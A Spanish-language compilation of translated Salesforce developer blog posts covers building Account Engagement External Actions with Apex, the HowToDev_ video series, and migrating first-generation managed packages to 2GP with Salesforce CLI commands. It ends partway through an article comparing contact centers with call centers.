Con una gran flexibilidad viene la complejidad, por lo que necesitará algunas habilidades en ciertas áreas para construir con éxito una acción externa. Los siguientes son temas clave de los que necesitará una comprensión básica antes de abordar su propia acción externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener éxito en general. Recomiendo aprender Visual Studio y el proceso de implementación de la CLI. No se necesita maestría, solo lo básico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentación de la API REST

El patrón del que hablamos en este artículo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acción externa, debe poder leer una especificación API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementación de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendaría, como mínimo, familiarizarse con la compilación y la implementación de código Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener más información, encontré útil el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el código de la aplicación de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creación de una interfaz de usuario para controlar las entradas durante la prueba. Si está familiarizado con Engagement Studio, Flow será bastante fácil ya que tiene muchos de los mismos conceptos. Utilicé la ruta Crear flujos con Flow Builder para ponerme al día. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creación de todo tipo de automatización de procesos comerciales.

¿Cómo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman también proporciona una manera fácil de generar ejemplos.
  • CLI de Visual Studio + Salesforce — Uso Visual Studio para codificar mi acción invocable y la implemento en mi organización de desarrollador. La mayoría de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este artículo, solo admitimos paquetes de primera generación (1GP) , por lo tanto, no configure su organización de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acción invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver rápidamente el código o ver los registros de sus pruebas de flujo de pantalla.

Patrón básico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patrón básico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acción invocable, e InvocableMethod , que es el método a llamar al ejecutar la acción invocable. Puede ver cómo se aplican en el siguiente código de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi código en dos clases facilita jsonificar la carga útil. Mi clase de entrada contiene todos los campos de variables invocables que la acción invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construirá la carga útil a partir de la entrada, la convertirá a JSON y luego la agregará a la solicitud HTTP. A continuación, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el método. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error útil para diagnosticar un problema.

Consideración importante: el marco de acción externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el éxito. Si se devuelve un error, se informará en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acción externa, encontrará errores. Cuanto más pueda probar sobre la marcha, más fácil será descubrir dónde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuración de la acción externa de la imagen, por lo que si la verifica aquí, pero no funciona en Engagement Studio, sabrá que el problema radica en la configuración de la acción externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa raíz y corregirlos es otra cosa. A continuación se presentan algunas de las técnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi código. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigación de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integración B2BMA, para poder ver mis registros de Apex y diagnosticar el problema más a fondo. Tenga cuidado, podría terminar con una gran cantidad de datos. El Usuario de Integración B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acción externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acción externa que resultó en una falla. Es útil ver lo que sucedió durante una ejecución de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su dirección de correo electrónico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones iría al buzón de correo de ejemplo@ejemplo.com. Por ejemplo, usé esto para probar el ejemplo de registro de Zoom porque no quería que el correo electrónico registrado rebotara.

Errores comunes

Los errores van a suceder, así es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acción exterior sea activa. Si la acción no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensión de la aplicación de marketing como la acción externa, además de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex esté activa. La mayoría de las veces ya estará marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es fácil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cuántas veces busco acciones externas, solo para tener un momento de confusión antes de recordar.

Finalmente, si su acción externa no funciona, pero no ve errores, verifique que la acción invocable fue diseñada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegrías. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

¿Que estas esperando? ¡Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde cómo funciona la función hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustaría hacer algo cuando el cliente potencial haga esto", y lo ayudará a automatizar esa acción.

Entonces, configure su entorno de desarrollador, revise la aplicación de referencia y comience a construir su acción externa hoy. El 20 de julio a las 10 a. m. (hora del Pacífico) , realizaremos una sesión de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , así que únase y síganos mientras construimos una extensión de la aplicación de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente sénior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante más de cuatro años y tiene más de 13 años de experiencia en gestión de productos, trabajando principalmente en plataformas que van desde la atribución de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qué es posible.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Presentamos HowToDev_ ☁️

Presentamos HowToDev_ ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnológicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, ¡HowToDev_ es la serie para usted!

En esta nueva serie, aprenderá a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce líderes en la industria. Seré su anfitrión y, en cada episodio, lo explicaré cómo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripción general de la plataforma de Salesforce

La plataforma de Salesforce reúne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripción general de Salesforce Platform y cómo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicación y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

¡Vamos a codificar!

¡Espera un segundo! Hay algunas cosas que necesita saber aquí antes de abrir ese entorno de desarrollo. Aquí hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la función de los metadatos, que representan toda la configuración, la automatización y la interfaz de usuario en el entorno de Salesforce.

Definición de qué son una aplicación y una organización en Salesforce: aclaramos los conceptos de una aplicación y una organización en Salesforce, subrayando su distinción con respecto a las aplicaciones y organizaciones tradicionales.

Creación del objeto de propiedad : demostramos el proceso de creación de un objeto personalizado (el objeto de propiedad) en Configuración de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotización y Días en el mercado), que resaltan la naturaleza dinámica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrirá la serie, prometiendo una futura exploración de la codificación y la resolución de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensión de estos conceptos, ¡podemos abrir la CLI en el Episodio 2 !

Dónde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, ¡así que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripción general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: Código en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatización con flujo y disparadores
Episodio 6: Completar y lanzar su aplicación Salesforce

Más recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrará todo el código, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. Únase a la búsqueda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. También recibirá una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misión en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pacífico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver código de muestra y proyectos.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Muévete a 2GP Administrado con Migraciones de Paquetes ☁️

Muévete a 2GP Administrado con Migraciones de Paquetes ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Pasar a 2GP administrado con migraciones de paquetes | Blog de desarrolladores de Salesforce

Han pasado casi cuatro años desde que lanzamos por primera vez el paquete administrado de segunda generación (2GP) , que permite a nuestros socios de AppExchange crear y distribuir soluciones utilizando un modelo de desarrollo basado en CLI, basado en fuente y fácil de automatizar.

Desde entonces, recibimos una gran cantidad de excelentes comentarios de nuestra comunidad de desarrolladores, y continuamos innovando en múltiples áreas relacionadas con la experiencia del desarrollador, el rendimiento, la paridad del tipo de metadatos con el paquete administrado de primera generación (1GP), etc. Cada vez que nos reunimos con desarrolladores de ISV, constantemente escuchamos sobre la necesidad de que Salesforce los ayude a ellos y a sus clientes a pasarse al mundo de 2GP.

¡Hoy, tengo algunas noticias emocionantes para compartir con todos ustedes! Estamos abordando la pregunta n.º 1 de nuestros desarrolladores de ISV al presentar una nueva función: Migraciones de paquetes . En pocas palabras, Package Migrations automatiza por completo el proceso de convertir paquetes 1GP a 2GP y migra sin problemas a los clientes con paquetes instalados a 2GP. Si es un socio ISV que crea paquetes administrados, ¡esta publicación de blog es para usted!

Antes de sumergirnos en los detalles de las migraciones de paquetes, echemos un vistazo a algunos beneficios de usar 2GP para el desarrollo de paquetes.

Beneficios de usar 2GP para el desarrollo de paquetes

En el corazón de 2GP se encuentra un modelo de desarrollo basado en fuente, donde un repositorio de código fuente como Git representa la fuente de la verdad para su paquete. Esto es fundamentalmente diferente del mundo de 1GP, donde utiliza una organización de empaquetado para mantener todos los metadatos que desea empaquetar y distribuir a sus clientes.

Este modelo de desarrollo impulsado por la fuente, impulsado por la CLI de Salesforce , puede aumentar drásticamente la productividad y la colaboración de su equipo. Los desarrolladores pueden usar Dev Hub para activar rápidamente organizaciones temporales , crear una función de forma conjunta y comprometerla con el control de código fuente. Cuando esté listo para distribuir una nueva versión de su 2GP, simplemente extraiga la rama correspondiente a una máquina local y use la CLI para crear su nueva versión del paquete.

Es importante destacar que este enfoque basado en CLI también significa que puede integrar fácilmente su proceso de empaque por completo en CI/CD, lo que facilita la automatización completa de su flujo de trabajo. Puede, por ejemplo, ejecutar automáticamente Salesforce Code Analyzer en una base de código y, siempre que no se encuentren problemas, crear una nueva versión del paquete.

En el mundo de 1GP, estabas atrapado usando un espacio de nombres diferente para cada uno de tus paquetes. En 2GP, todos sus paquetes pueden compartir el mismo espacio de nombres, lo que le permite aprovechar un enfoque verdaderamente modular para el desarrollo de paquetes para mantener sus paquetes bien organizados. También es posible declarar explícitamente dependencias entre paquetes , asegurando que todo funcione en conjunto sin problemas.

Con 2GP, también obtiene un control de versiones flexible, lo que le permite abandonar versiones de paquetes que ya no desea utilizar. En su lugar, puede especificar un ancestro de la versión del paquete y crear efectivamente una nueva rama en la que desee continuar con su desarrollo.

Finalmente, apoyar a los clientes nunca ha sido tan fácil con 2GP. En el mundo de 1GP, los parches solo se pueden crear desde una organización de parches. Con el modelo de desarrollo basado en el código fuente de 2GP, puede simplemente crear una versión del paquete de parches directamente desde la CLI y, siempre que el parche cumpla con los requisitos relacionados con los cambios menores y la ascendencia del paquete, se crea y está listo para instalarse en la organización de su cliente.

Dicho todo esto, 2GP puede agregar mucho valor a su proceso de desarrollo. ¡Ahora, averigüemos cómo las Migraciones de paquetes pueden ayudarlo a llegar al mundo de 2GP!

Introducción a las migraciones de paquetes

Package Migrations amplía la funcionalidad de 2GP con comandos CLI adicionales y capacidades adicionales para ayudar a los desarrolladores de ISV a realizar una transición completa al mundo de 2GP. Actualmente se encuentra en Developer Preview y está abierto para que todos los desarrolladores de ISV lo prueben en sus paquetes 1GP existentes. ¡Siga leyendo para saber cómo participar en la versión preliminar para desarrolladores!

Hay dos elementos para las migraciones de paquetes: conversión de paquetes y migración de paquetes.

La conversión de paquetes se inicia a través del nuevo comando sf package convert . Toma una versión específica de su paquete 1GP existente (Acme v1.0 en este ejemplo) y usa algo de magia detrás de escena para convertirlo en una versión de paquete 2GP correspondiente (Acme v1.0.0.1 usando la numeración de versión 2GP).

Una vez que tenga una versión de paquete 2GP convertida, puede migrar clientes a 2GP. Si tiene un suscriptor con Acme v1.0 instalado, iniciaría el proceso tratándolo como una actualización de paquete normal: a través de la CLI con sf package install (ver documentos ), instalación de URL o actualizaciones automáticas.

Mientras intenta instalar su paquete 2GP convertido v1.0.0.1, que coincide con la versión mayor.menor del paquete 1GP instalado en el suscriptor A, ejecutamos una nueva lógica que inicia el proceso de migración del paquete . Sin cambiar ningún metadato en la organización del cliente, y sin requerir la intervención del usuario si usa actualizaciones automáticas, simplemente cambiamos las referencias del paquete para que apunten al nuevo paquete 2GP.

Una vez que un cliente migre a 2GP, cualquier parche o actualización del paquete de este cliente deberá usar 2GP.

Participación en la versión preliminar para desarrolladores de migraciones de paquetes

Para probar las migraciones de paquetes, debe ser un socio ISV con acceso a la comunidad de socios de Salesforce .

En la Comunidad de socios, encontrará un canal exclusivo para esta versión preliminar para desarrolladores. Le recomendamos que se una a este canal y configure las notificaciones para enviar por correo electrónico cada publicación para recibir las últimas actualizaciones del equipo de Migraciones de paquetes.

En este canal, encontrará una serie de enlaces útiles, incluido un formulario para registrarse en Developer Preview. Necesitaremos algunos detalles, como su ID de organización de empaquetado, para que podamos activar la función Migraciones de paquetes.

Es importante destacar que participar en Developer Preview no tendrá ningún impacto en su paquete de 1GP. Por lo tanto, no se preocupe y participe, ya que sus comentarios son esenciales para ayudarnos a identificar y resolver problemas lo antes posible.

Una vez que esté activado, puede comenzar a probar las migraciones de paquetes.

Probar la conversión de un paquete administrado de primera generación

Muy bien, ¡comencemos! En primer lugar, asegúrese de haber instalado la CLI de Salesforce.

Si lo instaló anteriormente, asegúrese de estar usando la última versión:

sf update

Ahora asegúrese de que está ejecutando dentro del contexto de un proyecto de SalesforceDX. Puedes crear un nuevo proyecto usando:

sf project generate --name <Your project name>

Vincule el espacio de nombres de su 1GP administrado iniciando sesión en su DevHub y siga los pasos .

¡Eso es todo para la configuración! Ahora puede continuar e intentar convertir su paquete.

sf package convert --installation-key mdpTest --package 033xxx --wait 20

Repasemos los parámetros. Estamos utilizando la clave de instalación mdpTest . Será necesario cada vez que intente instalar esta versión del paquete en el futuro. Alternativamente, puede usar --installation-key-bypass para omitir la clave de instalación. Deberá ingresar su ID de paquete 1GP completo comenzando con 033 después de --package . El proceso de conversión puede demorar un poco y, por lo tanto, agregamos la opción --wait para esperar 20 minutos.

A medida que se ejecuta el proceso de conversión, obtendrá una actualización de su estado. Suponiendo que todo salió bien, recibirá un mensaje de éxito con la ID y la URL de instalación para la versión del paquete 2GP recién convertida.

Converting Package... ... Successfully created the package version [08cxxx00000KzFSAA0]. Subscriber Package Version Id: 04txxx00000u1cqAAA
Package Installation URL: https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA
As an alternative, you can use the "sfdx package:install" command.

¡Felicitaciones, su paquete ahora está convertido a 2GP! Si encontró algún problema en el camino, infórmenos utilizando el formulario en el grupo Comunidad de socios .

Nota: Al momento de escribir esta publicación de blog, este comando convertirá la última versión administrada y lanzada de su paquete. Estamos trabajando para permitirle convertir versiones de paquetes Beta y anteriores. Por otro lado, durante Developer Preview, no es posible promocionar paquetes 2GP convertidos al estado Lanzado.

Ahora que su paquete está convertido, probemos la migración de una organización suscriptora.

Probar la migración de un paquete administrado de primera generación instalado

Para probar la migración de un suscriptor, deberá crear una organización borrador ya que, durante la versión preliminar para desarrolladores, solo admitimos organizaciones borrador. Puede configurar una nueva organización borrador como esta:

sf org create scratch -f project-scratch-def.json -a MyScratchOrg

En el código anterior, -f apunta a su archivo de definición de organización borrador . Debe asegurarse de que su archivo de definición de organización borrador incluya cualquier función de Salesforce de la que pueda depender su paquete. Finalmente, estamos usando MyScratchOrg como el alias de esta organización.

Con la configuración de la organización borrador, continúe e instale la versión del paquete 1GP que convirtió anteriormente utilizando la URL de instalación que obtiene de su organización de empaquetado 1GP. Esta debería ser su última versión administrada y lanzada en este momento.

Puede confirmar que el paquete se instaló correctamente durante la pantalla de instalación. Vea el ejemplo a continuación.

Y consulte la sección Paquetes instalados del menú Configuración.

Ahora que instaló su 1GP en la organización borrador, está listo para la migración.

Inicie el proceso de migración utilizando la URL de instalación que recibió al final del proceso de conversión del paquete:

https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA

Ahora pasará por el mismo conjunto de pantallas que el anterior, pero esta vez para su paquete 2GP convertido.

Actualmente, la interfaz de usuario muestra que la "instalación" se ha completado. En realidad, lo que hicimos fue una migración de paquetes que se completó con éxito.

Tenga en cuenta que en este ejemplo, he usado la segunda compilación Beta para la versión 1.7, que corresponde a la misma versión mayor.menor que la versión del paquete 1GP instalada anteriormente. Como el 2GP convertido, durante la Vista previa del desarrollador, se crea como una versión Beta, se muestra como tal.

Una vez más, puede confirmar la versión del paquete actualizado en la sección Paquetes instalados del menú Configuración, que también muestra, en este ejemplo, que el número de versión es 1.7 (Beta 2).

Una vez que haya migrado el paquete en su organización borrador, le recomendamos que lo pruebe para asegurarse de que funciona como se esperaba.

También debe aprovechar la oportunidad para verificar si las aplicaciones, como la aplicación de administración de licencias o la aplicación de administración de funciones, muestran la información correcta para su paquete migrado. Si encuentra algo que no está bien, por favor plantéelo como un problema y lo investigaremos.

Mientras tanto …

Se necesitarán algunos lanzamientos para que las migraciones de paquetes estén disponibles de forma general. Su participación en Developer Preview, probando sus paquetes y brindándonos comentarios, es esencial para ayudarnos a identificar y resolver problemas antes.

Mientras tanto, ¿qué más puedes hacer? Le recomendamos que experimente con el uso de paquetes de segunda generación como parte de su modelo de desarrollo actual basado en 1GP. ¿Confundido? Dejame explicar.

Como mencioné anteriormente, hay una serie de ventajas específicas de 2GP. De estos, hay algunos de los que puede comenzar a beneficiarse hoy. Estos son los pasos que puede seguir:

  1. Puede configurar su control de código fuente y alimentarlo con metadatos extraídos de su organización de empaquetado.
  2. Puede crear un DevHub y organizaciones borrador derivadas para el desarrollo utilizando metadatos de su control de código fuente.
  3. Puede crear un paquete 2GP para desarrollo interno y pruebas que reflejen su paquete 1GP, pero usando un espacio de nombres solo interno o el mismo que su paquete 1GP. Las colisiones de espacios de nombres evitarán que los paquetes 1GP y 2GP con el mismo espacio de nombres se instalen en el mismo entorno.
  4. Una vez que esté satisfecho con el contenido de su paquete 2GP, puede migrar los metadatos desde la rama de control de fuente correspondiente a su organización de empaquetado y emitir una nueva versión de su paquete para distribuir a los clientes.

Esto lo ayudará a sumergirse en el mundo de 2GP y, una vez que Package Migrations esté disponible de forma general, podrá abandonar su modelo de desarrollo de 1GP por completo y pasar por completo a un modelo de desarrollo de 2GP.

Conclusión

Estamos muy entusiasmados con las migraciones de paquetes, pero necesitamos su ayuda para asegurarnos de que sea lo mejor posible. Si es un desarrollador de ISV, continúe y regístrese para la Vista previa para desarrolladores en la Comunidad de socios.

¡Estamos ansiosos por recibir sus comentarios!

Más recursos

Grupo de vista previa para desarrolladores en la comunidad de socios

Embalaje gestionado de segunda generación (documentación)

Sobre el Autor

John Belo es director de gestión de productos para productos de experiencia de desarrollador y se centra en migraciones de paquetes, analizador de código de Salesforce y análisis de aplicaciones de AppExchange. Ha estado en Salesforce durante más de siete años y pasó la mayor parte de este tiempo en el equipo de AppExchange. Comenzó liderando un equipo de evangelistas técnicos de ISV en EMEA y ahora es parte del equipo de gestión de productos de experiencia de desarrollador, siempre con la intención de ayudar a los ISV a tener el mayor éxito posible.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Contact Centers vs. Call Centers: ¿Cuál es la diferencia?

Contact Centers vs. Call Centers: ¿Cuál es la diferencia?

Los términos centro de llamadas y centro de contacto a menudo se usan indistintamente y, aunque ambos son centros de atención al cliente, no son exactamente lo mismo. Los centros de llamadas se enfocan únicamente en las comunicaciones telefónicas, mientras que los centros de contacto modernos brindan soporte a través de una variedad de canales, que incluyen teléfono, correo electrónico, chat en vivo, artículos de conocimiento de autoservicio y chatbots. Profundicemos en las diferencias entre un centro de contacto y un centro de llamadas, para que pueda decidir el mejor enfoque de servicio al cliente para su negocio.

Los clientes de hoy tienen grandes expectativas para las empresas con las que hacen negocios. Descubrimos que el 94% de los clientes dicen que una experiencia positiva de servicio al cliente los hace más propensos a realizar una compra nuevamente. Sin embargo, solo el 13% de los clientes dicen que pueden resolver sus problemas con poco esfuerzo.

¿Cómo es una experiencia positiva del cliente? Se trata de reunirse con los clientes donde están, utilizando los métodos de comunicación y la tecnología que prefieren, y brindando una variedad de opciones de servicio, en lugar de limitar el servicio solo por teléfono. A medida que las preferencias de los clientes evolucionan con la tecnología, más centros de llamadas se están transformando en centros de contacto .

Modernice su centro de contacto

La combinación correcta de canales y herramientas de servicio al cliente puede ayudarlo a ser más eficiente y mejorar la satisfacción del cliente. Nuestra guía revela cómo las organizaciones de servicio de alto rendimiento lo hacen posible.

¿Qué es un centro de llamadas?

Un centro de llamadas es un grupo de servicio al cliente remoto o local que brinda servicio al cliente por teléfono. Los centros de llamadas pueden emplear desde unos pocos agentes para pequeñas y medianas empresas hasta cientos para grandes corporaciones.

Cada agente generalmente maneja varias llamadas telefónicas por día para ayudar con los problemas de los clientes, desde consultas de facturación hasta problemas técnicos complejos. Algunos centros de llamadas utilizan software de administración de relaciones con los clientes (CRM) para resolver problemas más rápido y proporcionar a los agentes datos de clientes, pero muchos centros de llamadas todavía están trabajando para adoptar esta tecnología.

Un centro de contacto es un centro de servicio al cliente que proporciona una variedad de canales de comunicación, incluidos teléfono, correo electrónico, redes sociales, chat, SMS y mensajería, videoconferencia , uso compartido de pantalla y más. Los agentes suelen tener la experiencia para trabajar en todos estos canales o en un subconjunto especializado según la estructura de su equipo.

Un centro de contacto también utiliza la tecnología CRM para capacitar a los agentes para ayudar a los clientes, acelerar los tiempos de respuesta y brindar interacciones y ofertas personalizadas.

Las preferencias de comunicación del cliente varían ampliamente. Alguien que está en movimiento puede marcar una línea de servicio al cliente, mientras que alguien en su escritorio puede comunicarse con un agente a través del chat en vivo.

Cuando los centros de contacto enrutan las solicitudes de múltiples canales a los agentes de servicio en función de su disponibilidad y conjunto de habilidades, los agentes de servicio pueden realizar múltiples tareas y aumentar su eficiencia.

Una métrica clave para el éxito del centro de contacto es la reducción del trabajo manual de los agentes. Los agentes tienen tareas como notas de casos, transferencias de datos y enrutamiento de llamadas, lo que puede reducir la velocidad y la eficiencia del servicio que brindan.

Los centros de contacto utilizan la automatización y la inteligencia artificial (IA) para reducir estas tareas de la carga de trabajo de sus agentes para que puedan concentrarse en resolver los problemas de los clientes y brindar una experiencia de servicio perfecta. Estas tecnologías pueden hacer cosas como transcribir automáticamente llamadas telefónicas, sugerir respuestas de chat en vivo o encontrar artículos de ayuda para que los agentes los compartan con los clientes.

La IA generativa está facilitando aún más la eficiencia. Cuando se aplica al servicio, la IA generativa puede tomar datos del cliente, como una consulta del cliente o información de la cuenta, y crear algo nuevo a partir de ellos. Algunos ejemplos de estos poderosos casos de uso incluyen la generación automática de artículos de conocimientos basados en datos de resolución de casos, brindar respuestas personalizadas a preguntas de chat en vivo y extraer datos en tiempo real para ayudar a los agentes a resolver los problemas de los clientes rápidamente.

Los centros de llamadas tienen un enfoque singular: brindar un servicio de calidad por teléfono. Los centros de contacto adoptan un enfoque omnicanal que muchos consumidores encuentran más conveniente (ya no hay que esperar en la línea telefónica ni escuchar la serenata de la música del ascensor).

Elección de canal

Sus clientes solo quieren que sus problemas se resuelvan lo más rápido posible. Al final del día, debe reunirse con ellos donde están a través de sus canales de comunicación preferidos, que variarán según el tipo de servicio o producto que ofrezca.

Con un centro de contacto, puede llegar a los clientes en estos canales:

  • Teléfono
  • Correo electrónico
  • Medios de comunicación social
  • Formularios en línea
  • Bases de conocimiento
  • Portales de autoservicio para clientes
  • Chat en línea/soporte en vivo
  • aplicaciones de mensajería
  • Texto/SMS
  • Aplicaciones móviles
  • Comunidades y foros de discusión
  • Soporte de vídeo

Su industria influirá en gran medida en los canales de servicio al cliente que brinda su empresa. ¿Eres una empresa de servicios públicos? Entonces, el autoservicio , los SMS y el teléfono son fundamentales para su centro de contacto. ¿Qué tal un minorista de comercio electrónico? Sus clientes ya están comprando en línea; poder comunicarse con usted a través de la web o el chat móvil probablemente sea importante para ellos.

A pesar de la expansión y aceptación de los canales digitales y la variedad de preferencias de los clientes, el 81 % de los profesionales de servicios dicen que el teléfono es un canal preferido para problemas complejos, por lo que incluso los centros de contacto digitales deben mantener abiertas las líneas telefónicas.

Servicio al cliente personalizado

Una diferencia importante entre un centro de llamadas y un centro de contacto es el uso de los datos del cliente y la tecnología CRM para brindar un servicio al cliente personalizado.

Cuando el teléfono es la única opción para ponerse en contacto con una empresa, las interacciones tienden a ser simples, como restablecer la contraseña de una cuenta o hacer una pregunta, y menos frecuentes con el mismo cliente. Y dado que la tecnología CRM solo la utilizan algunos centros de llamadas, los agentes pueden tener información limitada sobre un cliente y sus preferencias.

Los centros de contacto tienden a manejar tareas más complejas. Los problemas más simples de los clientes generalmente se resuelven a través de canales de bajo contacto (piense en artículos de autoservicio, chatbots , SMS o chat en vivo), mientras que los problemas más complejos se manejan por teléfono.

Un agente de servicio en un centro de contacto usa la instancia de CRM de la empresa para hacer referencia a interacciones pasadas , ver qué productos o paquetes tiene actualmente el cliente y brindar opciones personalizadas de ventas cruzadas o adicionales. Esto es posible gracias a la integración de los datos de ventas, servicios, marketing y comercio, todos canalizados a través de una única plataforma de CRM.

Habilidades de agente

Su elección de centro de contacto frente a centro de llamadas también se reducirá a las habilidades de sus agentes y al presupuesto y los recursos disponibles para la capacitación de agentes.

Dado que los agentes del centro de contacto utilizan más canales digitales y asincrónicos que los centros de llamadas, deben poder realizar múltiples tareas y deben sentirse cómodos con la tecnología digital. Los agentes del centro de llamadas, por otro lado, deben pensar rápidamente y mantener la calma para reducir las situaciones en tiempo real.

